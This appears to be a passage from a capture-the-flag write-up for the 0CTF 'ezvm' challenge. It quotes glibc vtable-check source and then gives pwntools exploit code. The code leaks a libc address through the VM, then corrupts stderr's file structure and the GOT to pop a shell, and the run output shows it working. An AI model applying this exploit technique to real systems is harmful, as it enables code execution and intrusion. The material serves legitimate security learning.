void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;
 
  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active ()
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }
 
#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif
 
  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

 
int
_dl_addr (const void *address, Dl_info *info,
	  struct link_map **mapp, const ElfW(Sym) **symbolp)
{
  const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);
  int result = 0;
 
  /* Protect against concurrent loads and unloads.  */
  __rtld_lock_lock_recursive (GL(dl_load_lock));
 
  struct link_map *l = _dl_find_dso_for_object (addr);
 
  if (l)
    {
      determine_info (addr, l, info, mapp, symbolp);
      result = 1;
    }
 
  __rtld_lock_unlock_recursive (GL(dl_load_lock));
 
  return result;
}

p.sendlineafter(b'Welcome', b'aaa')
p.sendlineafter(b'code size:', b'100')
p.sendlineafter(b'memory count', tob(0x100))
p.sendlineafter(b'code:\n', p8(0x17))

leak = 0
for i in range(0, 64):
    code =  read_mem(0, 0)      # load memory[0] to register[0]
    code += push(0)             # push register[0]
    code += read_imm(1, 1<<i)   # load mask to register[0]
    code += push(1)             # push register[0]
    code += stk_and             # logical and stack[top] stack[top-1] and push the result
    code += jmp(1)              # jump to illegal if 1
    code += p8(0xff)+p8(0x17)   # 0xff(illegal) and exit 0x17
    p.sendlineafter(b'code size:\n', tob(len(code)))
    p.sendlineafter(b'memory count:', tob(0x100))
    p.sendlineafter(b'code:', code)
    recv_data = p.recvuntil(b'finish')
    if b'what' in recv_data:    # illegal instruction
        leak |= (1<<i)
        log.info("leak data: "+hex(leak))

# allocate memory with mmap, and exploit the OOB bug
p.sendlineafter(b'code size:', b'500')
p.sendlineafter(b'memory count', tob(0x6000000000200000)) 
 
log.info('writing to stderr')
code =  read_imm(0, libc.address+0xebcf8)     # one_gadget
code += store_mem(0, 0x24340f*8)              # offset of GOT
code += read_imm(0, 0x41414141)               # vtable, any value not in vtable segment
code += store_mem(0, 0x121b768)               # write to stderr->vtable
code += read_imm(0, 0x1122334455667788)       # anything
for i in range(0, 0x15):                      # override fields in stderr
    code += store_mem(0, 0x121b698+i*8)
code += read_imm(0, 0)  
code += store_mem(0, 0x121b690)               # stderr->flag
code += read_imm(0, 0xaabbccdd55667788)       # stderr->write_ptr
code += store_mem(0, 0x121b6b8)               # write to stderr->write_ptr

┌──(kali㉿bad)-[~/Desktop/ctf/0ctf/ezvm]
└─$ python3 pwnvm3.py
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Desktop/ctf/0ctf/ezvm/libc-2.35.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/kali/Desktop/ctf/0ctf/ezvm/ezvm_p': pid 35561
[*] leak data: 0x20
[*] leak data: 0x60
[*] leak data: 0xe0
[*] leak data: 0x4e0
[*] leak data: 0xce0
[*] leak data: 0x1ce0
[*] leak data: 0x9ce0
[*] leak data: 0x19ce0
[*] leak data: 0x819ce0
[*] leak data: 0x1819ce0
[*] leak data: 0x3819ce0
[*] leak data: 0x7819ce0
[*] leak data: 0xf819ce0
[*] leak data: 0x1f819ce0
[*] leak data: 0x3f819ce0
[*] leak data: 0xbf819ce0
[*] leak data: 0x1bf819ce0
[*] leak data: 0x5bf819ce0
[*] leak data: 0xdbf819ce0
[*] leak data: 0x1dbf819ce0
[*] leak data: 0x3dbf819ce0
[*] leak data: 0x13dbf819ce0
[*] leak data: 0x33dbf819ce0
[*] leak data: 0x73dbf819ce0
[*] leak data: 0xf3dbf819ce0
[*] leak data: 0x1f3dbf819ce0
[*] leak data: 0x3f3dbf819ce0
[*] leak data: 0x7f3dbf819ce0
[+] leak: 0x7f3dbf819ce0
[+] libcbase: 0x7f3dbf600000
[*] writing to stderr
[*] Switching to interactive mode
 
finish!
continue?
$ a
Please input your code size:
$ a
Please input your memory count:
$ a
Please input your code:
Wrong length!
$ echo pwn
pwn
$